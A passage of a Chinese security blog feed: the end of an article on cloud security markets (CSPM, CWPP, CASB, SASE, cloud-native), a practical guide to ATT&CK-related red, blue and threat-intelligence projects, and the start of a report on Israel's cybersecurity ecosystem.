最常见的就是存储类的问题，AWS因为S3的配置问题，导致敏感数据对外引发了很多起安全事件，如下图所示。

图17：S3因配置问题引发的敏感数据泄露事件

网络的控制包括RDP或者SSH是否对外的问题也是一个应该考虑的问题，还有包括一些API的对外的管理，还有密钥的管理也是很大的一个问题。CSPM的典型使用场景包括：合规评估、运营监控、DevOps 集成、事件响应、风险识别和风险可视化。下图表示在多云模式下CSPM的部署方式。

图18：CSPM部署方式

目前CSPM相关功能在其它产品中也有所覆盖，比如CWPP和CASB类型的产品有涉及这个领域的功能，同时一些云计算厂商也有基本的设计，包括上面介绍的AWS的Trust Advisor就是类似的功能，Azure 的Security Center和GCP的Security Command Center。但是每个云上安全设计的只解决了自身云的问题，混合云的情况就需要第三方厂商来统一管理。多云的管理平台有时候也会有这种能力来加强对多云安全的问题做一些工作，也会覆盖一些CSPM的能力。所以这个产品本身更像是一种能力被其它产品或者云厂商拥有，作为单独产品的竞争力不够。目前CSPM的厂商还集中在AWS上面做，毕竟AWS的客户数量还是占大多数，但是做的深度并不够，AWS现在的云计算产品越来越多，但是CSPM涉及到的产品类型比较少，还集中在一些基本的产品上，比如S3。这个产品的定价是基于云管平台的管理员账号数量，每个账号的使用费用大概在1000美金左右。

在介绍CWPP云工作负载保护平台之前，说明一下CSPM和CWPP产品的关系，如下图所示。CSPM在云计算方面是管理控制层的安全问题，CWPP是控制数据层面的安全问题。

图19：CSPM和CWPP区别

关于CWPP产品类型的演进，笔者之前的文章已经涉及，这里就不做展开。对于混合云下CWPP类型的产品部署模式示意图如下：

图20：混合云场景下CWPP部署模式

但是这个图还是相对简单，只是一种VPN的方式进行连接服务端，青藤产品遇到的情况比这种情况更复杂，有代理模式，有分级模式也有NAT模式，目的就是为了统一纳管。CWPP产品现在分为三个大方面的安全能力：攻击面减小、执行前防护和执行后防护。

图21：CWPP三大安全能力

CWPP演进至今，跟上面提到能力结合一起分为了七个小的门类：广泛能力、容器、微隔离、内存和进程保护、Serverless、EDR、漏洞加固和配置合规类型。

图22:CWPP基于三大能力的七个变体

最后介绍一个在国内“水土不服”的安全产品：CASB（云访问安全代理）。CASB这个产品在Gartner是已经有魔力象限的产品了，成熟度比起前两个产品来说更成熟，市场的空间已经较大，肯定是作为一个独立产品而存在的，而不是一个功能。为什么在中国的环境下“水土不服”，核心原因跟我们的IT环境有很大的原因。美国的整个办公环境在SaaS领导者Salesforce推进下，得到了全面的SaaS化办公环境，例如CRM使用Salesforce，HRM使用Workday，运维使用ServiceNow，安全使用Crowdstrike，市场人员使用Hubspot，办公使用office365 或者Google Docs，存储使用Box或者Dropbox，IM用Slack，视频会议用Zoom。这些SaaS化的办公产品完全支撑了SMB甚至一些大客户的日常办公，这些SaaS应用的安全就变得更加重要起来。本质来说SaaS化的应用场景带来了CASB这种产品的需求，乃至Gartner断言CASB对于云就相当于防火墙对于传统的数据中心这么高的评价。

反观国内的办公环境，虽说已经有一些国内公司在SaaS化办公环境下做了一些内容，但是还不成气候，渗透率一直不高，主流还是传统的办公环境和本地化部署的软硬件，在这种情况下CASB的需求并没有凸显出来，甚至有些时候国内把CASB理解为传统办公环境的应用安全。

CASB这个产品有四个核心方面支撑：可视化、数据安全、威胁保护和合规。所谓的可视化是表示在企业中发现影子IT，对于所有的应用都有识别的能力，不会遗漏一些未知的SaaS应用。数据安全包括了数据分类、数据发现、以及敏感数据处理，可以叫做云端的DLP。还有些比较硬核的能力会使用部分同态加密技术，把数据加密存储在云端，然后直接对密文进行处理，最终在本地的又是明文。威胁保护这块主要是访问控制，这里提到的访问控制会跟UEBA结合，本质上来说就是零信任机制，同时有些厂商也会OEM一些反恶意软件和沙箱类产品来检测威胁。合规来说重点的就是CSPM的一些能力集成来达成合规的一些要求。对CASB厂商评估的六大能力也在这四个方面之中，如下图所示：云风险评估、适应性访问控制，DLP、应用可视化、CSPM、加密和脱敏。

图23：CASB厂商能力评估六个维度

CASB的基础架构如下图所示，数据来源可以来自四个方面：1. IaaS或者SaaS的API；2.正向代理；3.反向代理；4.已存在产品的数据，包括SWG或者FW的数据和API。对于正向代理或者反向代理获取的数据只是技术层面的，但是IaaS和SaaS的API以及其它产品的数据是在国内很难获取的。

图24：CASB基础架构

下图是一个CASB的一些标准使用场景，企业内部的人员被CASB产品安全保护着，在访问IaaS、PaaS还是SaaS上都会过CASB的监控，外部人员想要进入企业内部也需要CASB的认证，CASB也防止了一些不合法应用的访问。

图25：CASB典型使用场景

最终总结一张这三个产品在IaaS层面的部署图：CSPM通过API交互来实现功能，CWPP在每个工作负载上部署，CASB既使用网络代理的数据也使用云平台的API数据。

图26：CSPM、CWPP、CASB在IaaS层面部署

云安全与SD-WAN的结合

今年的云安全炒作曲线出现了一个新的产品方向SASE（Secure Access Service Edge）安全访问服务边缘，也是需要重点介绍的云安全领域重磅产品。说它是纯粹的安全产品又不尽然，它还有网络的属性，比如在企业网络和边缘计算的炒作曲线中，它也赫然在目。虽然属于一个比较初步的阶段，但是这个产品的未来可期。

图27：2019年云安全炒作曲线

图28：2019年企业网络炒作曲线

图29：2019年边缘计算的炒作曲线

Gartner今年有一篇重要的报告叫做《The Future of Network Security Is in the Cloud》，《网络安全的未来在云端》国内已经有人做了相关翻译，网上可直接查阅。传统的数据中心的Hub-spoke这种轮毂结构很难适用于现在的数据化业务，导致业务生产力低效、用户体验低下以及建立专线成本高昂等。“以数据中心为核心”的传统网络和网络安全体系架构已经过时，已经成为了数字化业务需求的阻碍。未来会从传统的重分支迁移到云为核心的轻分支、重云端的方式演进。

在灵活地支持数字化转型的同时，SD-WAN技术的大范围使用，这是SASE 新市场的主要驱动因素。这个市场将网络即服务（如，SD-WAN [软件定义的广域网]）和网络安全即服务（如，SWG、CASB、FWaaS [防火墙即服务]）融合在一起。我们将其称为“安全访问服务边缘”。它主要是作为基于云的服务交付的。企业对基于云的SASE 能力的需求、市场竞争与整合，将重新定义企业网络和网络安全体系架构，并重塑竞争格局。所以说网络安全的未来在云端。SASE是一个结合SD-WAN网络和云安全的产品，更像一个杂交品种，如下图所示，左边是网络即服务，右边是网络安全即服务。

图30：SASE产品特点

SASE产品核心组件包括：SD-WAN、SWG、CASB、ZTNA、FWaaS等，所有这些都具有识别敏感数据、恶意软件的能力，并且能够以在线速度对内容进行加密、解密，同时持续监控风险和信任级别的会话。可以看出都是云端的安全能力要求，SWG指的是安全网关，CASB上文有介绍，ZTNA是零信任机制解决认证问题，FWaaS是防火墙作为服务。

目前提供SASE解决方案的既有网络公司也有安全公司，比如Cisco和Fortinet。收费模式在网络侧是按照带宽收费，但是云端的安全产品都是按照账号来收费，可能后面会演进到按照保护对象来进行收费。

随着SD-WAN技术对网络的深刻改造中，网络安全相关的内容可能会发生深刻的变化，本质上是对于云安全的要求，SASE在这个进程中会发生重要的作用。不过目前的结合点还比较少，都是all-in-one的解决方案，安全公司想要有参与这个市场必须要有一些SD-WAN的建设能力，如果只是跟在SD-WAN厂商后面可能需要寻找工具链的管理模式。

云原生安全

云原生(Cloud Native) 最初是由Pivotal 公司的Matt Stine 于2013 年提出的。Pivotal公司先后开源了云原生的Java 开发框架Spring Boot 和Spring Cloud。随后，Google 在2015 年成立了CNCF(Cloud Native Computing Foundation)，使得云原生受到越来越多的关注。

Pivotal公司说明云原生应用的要集成四个概念：DevOps、持续交付、微服务和容器。

图31：云原生四个概念

CNCF对云原生技术的定义是：有利于各组织在公有云、私有云和混合云等新型动态环境中，构建和运行可弹性扩展的应用。云原生的代表技术包括容器、服务网格、微服务、不可变基础设施和声明式API。可见云原生是一种专门针对云上应用而设计的方法，用于构建和部署应用，以充分发挥云计算的优势。

未来的云原生架构的可分为三个方向：新的应用场景，新的技术变革还有新的生态发展。如下图所示：

图32：云原生架构未来三个方向

新的应用场景在混合云和多云环境的依赖上降低，因为容器这种技术会让工作负载和应用变的完全平台无关，所以在云的各种环境下都能得到很好的适配。边缘计算考虑到计算和网络资源的有限，使用容器和简单的编排工具更适用于这种场景。

新的技术变革有Service Mesh这种微服务运行时架构，包括了控制层面的技术Consul, Istio 和SmartStack以及数据层面的技术Envoy, HAProxy 和NGINX以及将两者合并的技术Linkerd。无服务的fPaaS也是一种云计算导致的应用方向，这种类似AWS的lamba都是基于Kubernetes和container的技术。目前的容器都是运行在VM上面，很好的结合了两者的优点，一个应用分发和一个安全隔离，但是VM导致虚拟化的资源消耗后面还是需要解决，可能未来就是直接在裸机上直接运行容器，可以降低资源的实际损耗。比如Kata container和gVisor都是这种技术。

新的生态发展需要更多的厂商进行支持。有对于ISV的容器化交付，目前的容器化交付的软件还是开源的为主，比如Elasticsearch, NGINX and Postgres。商业化软件的也在做相关努力，比如IBM在对Websphere和Db2在做容器化的交付方案。另一方面之前的容器运行的都是无状态的服务，为了支持有状态的服务需要有存储的加成，出现了软件定义存储SDS（software-defined storage）以及云存储服务。除了Kubernetes这个项目之外还需要更多成熟的项目。目前CNCF毕业的项目有Kubernetes（编排）、Promethus（监控）、Envoy（网络代理）、CoreDNS（服务发现）、Containerd（容器运行时）、Fluentd（日志）、Jaeger（调用追踪）、Vitess（存储）、TUF（软件升级）。还有很多孵化的项目在进化成成熟的项目。

云原生安全的理解在Pivotal总结为3R，Repair、Repave和Rotate。这三个“R”针对的是三个安全问题：Repair修复对应的恶意软件或者是对有漏洞的软件进行修复。Repave重新部署是对于APT攻击进行系统和应用的重新部署。Rotate更换是对于凭证泄漏进行的凭证更换。这显然对云原生安全的理解不够深入，哪怕对照这云原生的定义去理解安全，会更加全面和深入。

CNCF对于云原生安全的理解简称为4C：Cloud、Cluster、Container和Code。Cloud是基础，云平台的安全或者安全使用是基础，跟上文提到的CSPM一致，但是除去这些部分还有一些基于Kubernetes的基础安全问题，比如说Kubernetes Masters不能对外开放，其Master节点和Worker节点在特定限制下通信，K8S访问云计算API遵守最小权限原则等。这都是围绕着K8S的基础配置安全来说明。

Cluster（集群）分为两个方面：集群本身的安全，以及在集群上运行的业务的安全。集群自身安全有四个部分的安全需要考虑，K8S的API访问安全、Kubelet访问安全、工作负载运行时安全以及相关组件安全。K8S的API访问安全主要做到API的认证和授权控制以及TLS加密支持。对于Kubelete的API也需要做到认证和授权控制。对于运行时的工作负载要限制使用资源和控制权限以及禁止加载非需要内核模块，除此之外还需要还要限制网络访问以及云平台的API访问和Pod在Node上运行的控制。其它组件的安全考虑需要etcd的访问控制、开通审计日志、限制alpha和beta的功能访问、经常更换架构的认证凭据、对于第三方的集成需要安全评估、密钥进行加密和定期更新漏洞。

Container容器这个层面有三个安全问题：容器的漏洞扫描，以及镜像的签名、策略和权限控制。这里面讲的比较简单，其实可以展开的很多，之前的文章里面有讲到相关的安全问题，友商的研究部门也出过翔实的安全研究报告，我这里就不赘述了。

Code代码层面安全更像是之前笔者写过的DevSecOps相关的内容，包括了SAST、DAST和IAST的产品以及SCA这种对于开源软件安全的考虑都算是代码层面的安全解决方案。

图33：CNCF对于云原生安全的理解

这个对于云原生安全的理解大部分都是基于K8S的前提下进行的，虽然K8S对于容器编排层面已经成为事实标准，但是未免也不够全面。

结合这两个机构对于云原生安全的理解，其实就是四个方面的安全考虑：

第一、云原生基础设施安全，包括了K8S和container。

第二、DevSecOps的安全加成，也就是整个流程的安全工具链。

第三、CI/CD的持续集成和持续交付的过程，可以让整个安全的修复做到非常自然，在一次持续交付过程中就可以把相关漏洞修复上线，可以跟着整个软件交付的周期来内生植入安全的考虑，同时也可以做凭证的更换等。在之前系统上线之后的很难仅针对安全进行变更，而在这个敏捷开发的过程中有了很好的流程上的保证。

第四、微服务安全，这个领域目前越来越受到关注，前段时间业内人士也发表了一篇关于API安全的文章，API确实是微服务的基础，也是未来应用的交互方式。除了API本身，对于微服务的发现、隔离等安全内容也有其特定价值。

总结

笔者先从云安全市场的趋势来说明云安全市场发展速度是跟着云计算的发展速度蓬勃发展，然后介绍了一些云安全的主流产品，包括了云计算提供商自身提供的安全产品和生态以及主流的第三方安全产品CWPP、CASB和CSPM。然后，提到了在SD-WAN的推动下基于云的安全产品SASE，最后说到了云原生安全这个全新的话题，云原生也是一种软件开发和交付在云计算环境下的变革，所以相关的安全解决方案也需要提前考虑。本文主要关注了云安全的未来一段时间内的发展方向，这些内容已经在国外有落地，根据国内的发展情况可能会有差别，或者会发展到另外的一种状态也未可知，但是也会有一定的参考价值，毕竟IT技术的发展还是比较一致。

-The End-

阅读原文

跳转微信打开

ATT&CK 实战指南

Mon, 11 Nov 2019 19:40:00 +0800

原创程度 2019-11-11 19:40

本文着重于介绍ATT&CK框架如何使用，该框架不像其它理论只是提供理论指导作用，这个框架的可落地性很强。

ATT&CK框架作为安全领域继承Kill Chain的安全攻防框架，在全世界的信息安全领域正在如火如荼的发挥着影响。通过Google Trends可以看出在最近两年的热度呈指数级增长。

图1：ATT&CK框架的热度增长趋势

ATT&CK框架早在2014年就已提出，但当时的框架还比较简单。

图2：2014年时的ATT&CK框架

目前，这个框架还在不断演进，在今年10月份的ATT&CKcon 2.0大会上，披露的更新内容如下：

图3：ATT&CK框架的新增内容（数字解读）

值得一提的是，ATT&CK框架中加入了云相关方面的一些支持：

图4：ATT&CK新增云支持

目前，国内目前已经有一些文档从理论层面来介绍该框架，但很少从框架落地角度来介绍。而本文将更着重于如何使用该框架，毕竟该框架不像其它理论只是提供理论指导作用，这个框架的可落地性很强。

理论学习使用

ATT&CK™ Navigator项目

对于ATT&CK的学习是第一步的，首先需要介绍的就是ATT&CK™ Navigator项目。与普通的大型矩阵图片相比，这个导航工具看上去给人的压力更小，而且具有良好的交互性。通过简单地点击鼠标，就能学习到很多知识，这个项目主要是为之后的工作有很好的标记作用。这个项目比较好用的几个功能都是筛选类的功能，比如你可以根据不同的APT组织以及恶意软件进行筛选，可以看出组织和恶意软件使用的Technique，并进行着色，这样就可以很明显看出来这个组织的攻击使用技术。

图5：APT29 使用的攻击技术

同时也可以根据不同的需求，保存为其它格式导出，包括Json、Excel以及SVG，也支持根据平台和阶段进行选择。

图6：根据平台和阶段进行选择

从上图可以看出，ATT&CK框架支持三种常见系统Windows、Linux和MacOS，最近还新增了对云安全的支持，包括了国外主流的三个公有云AWS、Azure和GCP，同时还加入了一些SaaS安全框架Azure AD、Office 365和 SaaS。虽然ATT&CK框架中有关云计算的内容并不多，但也是一种有价值的尝试。云安全的这块针对云平台更像是CSPM产品解决的问题，SaaS安全的是CASB产品解决的问题。这里不详细描述，之后会有另外一篇文章说明。这个项目主要关注的是pre-attack和attack-enterprise的内容，包括mobile这块是有单独的项目支持。

还有比较常见的场景就是标记红蓝对抗的攻守情况，可以一目了然安全的差距在哪里，能够进行改进。从下图可以看出，蓝色的是能够被检测到的红队攻击技术，红色是蓝队没有检测到的。这在一定程度上与罚点球相似，蓝队是守门员，红队是射手，最后是衡量攻守结果。

图7：红蓝对抗攻守图

还有一种用法是对目前安全产品的技术有效性进行coverage的评估，如下图所示：

图8：EDR产品安全技术覆盖度

ATT&CK™ 的CARET项目

CARET项目是CAR（Cyber Analytics Repository）项目的演示版本，有助于理解CAR这个项目表达的内容。CAR这个项目主要是分析攻击行为，并如何检测的一个项目，在Blue Team中详细介绍。这里，介绍一下CARET的网络图。该图从左到右分为五个部分：APT团体、攻击技术、分析技术、数据模型、Sensor或者Agent。APT组织从左到右，安全团队从右到左，在“分析”这一列进行交汇。APT组织使用攻击技术进行渗透，安全团队利用安全数据进行数据分类并进行分析，在“分析”环节进行碰撞。

图9：CARET 网络图

最左侧两列已在上文有所介绍，此处不再赘述。我们从最右侧的Sensor开始分析。Sensor主要是用于数据收集，基本是基于sysmon、autoruns等windows下的软件来收集信息。数据模型受到CybOX威胁描述语言影响，对威胁分为三元组（对象、行为和字段）进行描述，对象分为9种：驱动、文件、流、模块、进程、注册表、服务、线程、用户session。数据模型是关键所在，它决定了sensor或者agent要收集哪些数据、怎样组织数据，也为安全分析奠定了基础。“分析”列主要是基于数据模型进行安全分析，大部分都有伪代码表示。

Red Team使用

Red Canary™ Atomic Red Team项目

红队使用ATT&CK框架是比较直截了当的场景，可以根据框架的技术通过脚本的自动化攻击，这里重点推荐Red Canary公司的Atomic Red Team项目，也是目前Github上Star最多的关于ATT&CK的项目。MITRE与Red Canary的关系已经非常密切，MITRE的项目CALDERA也是类似的项目，但是场景和脚本的丰富度离这家新兴的MDR公司还是有差距，在今年SANS的CTI会议上发布的内容也可以看出。

图10：MITRE与Red Canary的用例数量示意图

这个项目使用起来也好上手，首先搭建相关环境，然后选择相关的测试用例，包括Windows、Linux以及MacOS的用例，然后可以根据每个用例的描述以及提供的脚本进行测试，可能有些用例需要替换某些变量。之后可以根据部署的产品进行检测，看是否发现了相关入侵技术，如果没有发现需要进行检测技术的改进情况。最后，可以根据这个过程反复操作，能够得到一个入侵检测进步的进展图，最终可以更好的覆盖ATT&CK的整个攻击技术图。

图11：入侵检测进展示意图

其它红队的模拟攻击项目更新较少，也可以参考Endgame 的RTA项目、Uber 的Metta项目。比较好的实践是自己的攻击测试库，可以基于Red Canary的项目，然后结合其它的测试项目，同时可以结合自身来完善这个自己的红队攻击测试库，可以根据实际情况不断进行测试和回归测试，可以让安全攻击水准达到一个比较好的水平。

ATTACK-Tools项目

这个项目有两个重要作用：第一是用作模拟攻击的计划工具；第二是用作ATT&CK关系型数据库的查询工具。首先，我们先从用作模拟攻击的计划工具这个角度来介绍。以APT3为例（好尴尬，是美国分析中国的APT组织），先不考虑地缘政治因素，只考虑技术层面。首先，分析一个APT组织的行为报告就较为复杂，国内也是只有为数不多的几个比较有技术实力的公司每年在分析APT组织的行为；然后，基于这些攻击技术抽象成模拟这些组织攻击的内容更是复杂。从下图可以看出，模拟APT3有三个步骤，但其实前面还有个重要的步骤——工具选择。

图12：APT3 模拟计划示意图

根据这三个阶段进行模拟，第一步是初步试探渗透；第二步是网络扩展渗透；第三步是真正的实施攻击渗出。虽然该示意图相对比较简单，但该项目根据ATT&CK框架，充分展示了对APT组织的模拟攻击计划覆盖了哪些技术。

图13：ATT&CK™ View 示意图

这类示意图可以很好地将APT组织或者软件的行为按照ATT&CK框架表示出来，能够做好更全面的模拟攻击。关于ATT&CK™ Data Model这个内容更多的是把ATT&CK的内容根据关系数据库设计模式导入，以便按照不同维度进行查询和筛选。

Blue Team使用

ATT&CK™ CAR项目

CAR（Cyber Analytics Repository）安全分析库项目主要是针对ATT&CK的威胁检测和追踪。上面的CARET项目就是CAR的UI可视化项目，可以更利于CAR项目的理解。这个项目主要基于四点考虑：根据ATT&CK模型确认攻击优先级；确认实际分析方法；根据攻击者行为确认要收集的数据；确认数据收集主体sensor的数据收集能力。后面三个方面与CARET项目图示中的Analytics、Data Model、Sensor相对应。这个分析库是由对每一项攻击技术的具体分析构成的。我们以该分析库中最新一条的分析内容为例：

CAR-2019-08-001: Credential Dumping via Windows Task Manager（通过Windows任务管理器进行凭据转储），这项分析主要是对转储任务管理器中的授权信息这一安全问题进行检测。分析中还包含单元测试部分：

图14：单元测试示例

分析中还包括三种检测方式：伪代码、splunk下的sysmon的代码实现、及EQL语言的实现。通过各种方式的检测方法的实现，可以大大增强蓝队的检测能力。

图15：实现方式示例

CAR这个架构可以作为蓝队很好的内网防守架构，但是毕竟是理论架构，内容丰富度上比较欠缺。

Endgame™ EQL项目

EQL（Event Query Language）是一种威胁事件查询语言，可以对安全事件进行序列化、归集及分析。如下图所示，该项目可以进行事件日志的收集，不局限于终端数据，还可以是网络数据，比如有国外使用sysmon这种windows下的原生数据，也有osquery类型的基本的缓存数据，也有BRO/Zeek的开源NIDS的数据，这些数据对接个EQL语言进行统一分析。

图16：EQL语言示意图

这个语言的形式有shell类型PS2，也有lib类型。比较局限的是要输入Json类似的文件才可以进行查询，但是语法比较强大，可以理解为sql语言和shell的结合体。既有sql的条件查询和联合查询，也有内置函数，同时也有shell的管道操作方式，有点类似于splunk 的SPL（Search Processing Language）语言。

这个语言本质上属于Threat Hunting（威胁捕获）领域，因为这个领域目前也比较受关注，后面还会有文章专门讲解。该语言在开源领域影响力较大，尤其是跟ATT&CK的结合比较好，除了提供语言能力外，还有很多跟TTPs结合的分析脚本。

DeTT&CT项目

DeTT&CT（DEtect Tactics, Techniques & Combat Threats）项目，主要是帮助蓝队利用ATT&CK框架提高安全防御水平。用于帮助防御团队评估日志质量、检测覆盖度的工具，可以通过yaml文件填写相关的技术水平，通过脚本进行评估，自动导出Navigator项目可以识别的文件，导入之后可以自动标记，也可以通过excel导出，很快的看出ATT&CK关于数据收集、数据质量、数据丰富度（透明度）、检测方式等的覆盖度。

图17：数据收集质量示意图

CTI（Cyber Threat Intelligence）Team 使用

ATT&CK框架的创建及更新都是来源于威胁情报。ATT&CK框架是威胁情报抽象的最高层次，从战术、技术和步骤（TTPs）来分析的攻击层面。下图是威胁情报内容对于黑客的“痛苦金字塔”。总体来讲，威胁情报分析得越透彻，黑客攻击绕过的难度就越高。最高级别是TTP的检测，这是因为如果能够实现黑客行为的检测，基本就很容易定位黑客组织；如果只是能够实现hash、IP、DNS的检测，则很容易被黑客绕过。

图18：痛苦金字塔

威胁情报项目分为四个部分：战略级、战术级、运营级和技术级。我们目前的技术主要集中在运营级和技术级。而ATT&CK框架对于各个级别都具有重大指导作用。

图19：ENISA的CTI项目图

Sigma项目

Sigma项目是一个SIEM的特征库格式项目。该项目可以直接使用sigma格式进行威胁检测的描述，可以进行共享，也可以进行不同SIEM系统的格式转换。下图展示了simga主要解决的问题场景。

图20：Sigma用途示意图

Sigma的描述方式是使用yaml格式表示，比较容易理解。比如windows下使用sysmon检测webshell，如下图所示。

图21：使用sysmon检测webshell的示例

还有专门针对sigma的editor，可以方便地编写相关的威胁检测规则。

Sigma还可以将自身格式的规则转换到一些主流的SIEM系统中直接使用，这个工具目前可以支持的系统如下图所示：

图22：Sigma支持的系统

Sigma的规则在ATT&CK框架中的覆盖度如下图所示，也是覆盖了一部分的检测规则：

图23：Sigma规则在ATT&CK框架中的覆盖度

MISP项目

恶意软件信息共享平台MISP（Malware Information Sharing Platform）是一个开源的威胁情报平台。该个项目有一定历史了，现在是欧盟在资助这个项目。使用这个系统是通过安装一个实例达到的，可以理解为，威胁情报中心会定期同步威胁事件给每个实例。每个子节点的实例也可以创建新的事件，形成新的威胁情报发送到威胁情报中心。也可以查看历史的威胁情报记录，也可以导出相关的数据，同时也支持API方式。虽然这个项目相对比较复杂，但功能较多，适合比较成熟使用威胁情报的单位。

图24：MISP威胁情报平台示意图

misp-galaxy这个项目中目前已经集成了ATT&CK框架，可以将MISP中的数据映射到ATT&CK框架中。

CSO使用

CSO作为安全的最终负责人，当然上面3个组的工作内容都得大致清晰，更重要的是知道如何评估，并且利用ATT&CK框架切实提高安全防护能力。

Atomic Threat Coverage项目

该项目的重点组成部分其实是上面提到的两个项目——Red Canary™ Atomic Red Team和Sigma项目，二者分别负责模拟攻击和攻击检测。响应使用ES和Hive进行分析。这个项目更像是个组织型项目，真正看重ATT&CK在企业的落地情况。当然这个架构不一定是最优的架构，可能我会在响应方面要加上EQL的内容。

图25：Atomic Threat Coverage项目示意图

这个架构更像是某个企业内部的一种使用场景：红队模拟攻击，蓝队检测攻击并做出响应，此外还有一些缓解措施。CSO可以利用ATT&CK框架在内部不断演练，按照ATT&CK的覆盖度来看到安全能力的改进情况。与以往每个团队的消息不对称，各司其职又没有统一的目标相比，该框架将3个团队结合起来，让其按照ATT&CK提供的通用语言与规则，以游戏的方式进行模拟训练，从而达到提升安全防护能力的目的。

ATT&CK的常见使用场景这里就介绍到这里了，如下图所示：

图26：ATT&CK的常见使用场景

常见的内容是模拟攻击、评估和提高防御能力、威胁情报提取和建模、威胁评估和分析。

ATT&CK框架涵盖的内容还有很多没有介绍，比如Pre-ATT&CK、mobile、ICS、Evaluation、SOC Assessment及Sightings等等。我们希望与大家携手努力，共同研究这个来源于真实场景的安全框架，为提高安全能力、维护网络安全贡献绵薄之力。

-The End-

阅读原文

跳转微信打开

网络安全“圣地”之行

Mon, 12 Aug 2019 18:34:00 +0800

原创 chengdu1113 2019-08-12 18:34

网络安全“圣地”-以色列，每年都吸引了无数安全大佬去“朝圣”，它的网络安全发展情况是怎样的呢？本文为你解析。

以色列的耶路撒冷是三教“圣地”，宗教气氛浓重，每年去这里朝圣信徒不计其数。不仅如此，以色列一直被认为是仅次于硅谷的高新科技产业聚集地，其网络安全实力之强大在业界举世瞩目。比如既有老牌的Check Point、Imperva，也有创业公司Adallom（2015年被微软以2.5亿美元收购）、Cloudlock（2016年被思科2.93亿美元收购）和Argus（2017年被大陆集团4亿美元收购）等400多家网络安全公司，所以称以色列为网络安全“圣地”也不为过。据说每年都有无数大公司首席安全官或安全大佬去以色列海滨城市特拉维夫“朝圣”。7月有幸参加了色列的网络安全交流活动，五天的行程虽说匆匆一过，但是给本人启发不少。下文笔者将从四个方面介绍以色列网络安全发展的情况。

创新文化

导游带领我们去耶路撒冷的时候说了一句话让我印象深刻：在以色列的教育中，从来没有“听话”二字。老师的工作非常辛苦，任何事情都要说的清清楚楚，否则孩子们做的所有事情都有其自己理由。在他们的价值观中，“听话”这种美德只是简单的顺从，反而缺少了很多的批判性思考。正是这种教育影响到他们一生，以色列民族的批判性思考能力正是从小就开始培养的。意第绪语（日耳曼语族属于）有个词叫做“肆无忌惮”（chutzpah），这种情况会在很多场合出现：比如学生同教授的对话；员工挑战他们的老板；文员批判政府高官。对于以色列人来说，这个是很正常的行为。在跟以方公司交流沟通中，冰卉姐反复告诉我们要直接一些，也是深谙这种文化，以方安全公司的演讲者也乐于让我们打断他们，提出问题。

在以色列文化中，对“建设性失败”或“聪明的失败”的有着很大的包容性，这也是他们创新文化中很重要的一部分。失败是成功之母，一个人第一次创业成功的概率很低。哈佛大学做过一次调查，那些在这次创业失败的企业家，下次创业成功率接近20%，远高于初次创业者的成功概率，比有过成功经验的企业家也低不了太多。在跟甲方企业的一些CISO交流，他们乐于尝试用新的方式方法来解决问题，非常乐意尝试新产品。

以色列还是阶级差异最小的国家。全民预备役制度功不可没，女性二年兵役，男性三年兵役。以色列国防军（IDF）的向下授权是做的最充分的，也是所有其他国家部队管理不具备的。军队文化在人的印象中总是绝对服从，有严格的等级，但是以色列并不是这样。以色列的军队结构是高级指挥人员少，发号施令的人少，底层士兵就有更高的主动权。这样就可以引发从下到上的创新，而不是仅仅的服从。

这一切的根源来自于犹太教的精神，犹太教本身就是一本开放的书籍，代表作是《塔木德》-几百年以来拉比们之间关于犹太律法的公开讨论的集大成之作。这些精神不仅影响犹太人的宗教信仰，也塑造了以色列这个国家的国民精神。

资金支持

以色列每1000个人里面就会有一个人在创业公司工作，人均获取资本数也是全球领先，大概在700美元左右，而在美国只有400美元，中国是50美元。一个企业尤其是创业公司在产品没有大规模覆盖市场的时候，资本起到很关键的作用。在20世纪80年代的时候，以色列的创业公司只有两种融资渠道：第一是政府资金，另一个是BIRD，是美国和以色列共同出资的产业基金，更像是一个FA在运作。这两种形式的融资只能支持一部分公司并且只是早期的融资帮助，后续的资金跟不上无法为产品营销提供支持。

在这种情况下，以色列财政部的一些年轻官员想到引入风险资本的支撑，名字叫“Yozma”，希伯来语是“首创”的意思。Yozma项目是政府出资1亿美元创建10个新的风险资本基金。每一份基金必须由三方构成：以色列风险投资家、国外风险资本和以色列投资公司或者银行。这个项目基本是通过一个个配套的项目来激活风险投资。如果合作方能够筹集1200万美元投资以色列科技公司，政府将出相应配套800万美元资助这家公司。基本思路是：政府借钱给你投资，如果失败了，不用还钱给政府；但是，如果你赚钱了，只需要把最初的投资加上每年的利息还给政府。这个项目大获成功的关键是有进入和退出的机制，并激活了很多国外投资机构的投资意愿。现在不光是以色列自己的投资机构很多，同时募资的范围也扩展到全球领域，有美国的、欧洲的，现在都有很多中方资本参与在很多的投资基金中，充当母基金。

现在还有一些结合了投资和孵化器之类功能新形态出现，比如Team8 拆分出来的illusive Networks，Team8跟英特尔、花旗投行、微软和高通都是合作伙伴，同时也有其他风投基金的引入。这次参观的Elron基金本身是一家上市公司，是长青基金，其投资厂商一般是有数量控制，没有退出的估计一般不会加入新的portfolio，更注重被投公司的长期发展。

除了资本的支持，同时孵化器、加速器这样的办公场所支持也是很多。这次去的巴克莱银行的以色列创新中心就是孵化器的一种。同时也会有像SOSA这种连接行业三大支柱-创业公司、投资者以及跨国公司的平台。

创业生态

以色列网络安全创业生态如下图所示，由7个部分组成：

以色列的安全厂商主要是指那些已经IPO的巨头公司：Check Point、Imperva、CyberArk、Radware等。这些厂商能够提供两种帮助：创始人财务自由后充当投资人角色，可以作为天使投资人来投资创业公司；同时大公司培养了很多优秀人才，也可以组建创业公司。

安全的创业公司非常多，以色列创业的高科技行业大部分公司都是做2B行业的软件为主。2B行业技术门槛高，同时2C在以色列的生态环境比较差，人口仅仅900万人。网络安全行业又是专业度相对更高的行业，所以这个方向的创业公司相对较多。近10年以色列网络安全创业公司的数量，可以看出平均每年都是几十个公司的出现。

同时退出通道基本也比较畅通，大部分情况都是通过欧美大公司的收并购（M&A）。以色列本身是个小市场，基本在本国市场无法持续，所以都是出让高技术让市场广阔的公司获利。文章开头提到的三个公司就是这种范式。美国基本是以色列创业公司最好的退出目标通道。以色列人的第二语言是英文，语言上没问题；同时美国犹太人社区也比较多，有很好的连接作用；最后跟美国文化的区别也较小。

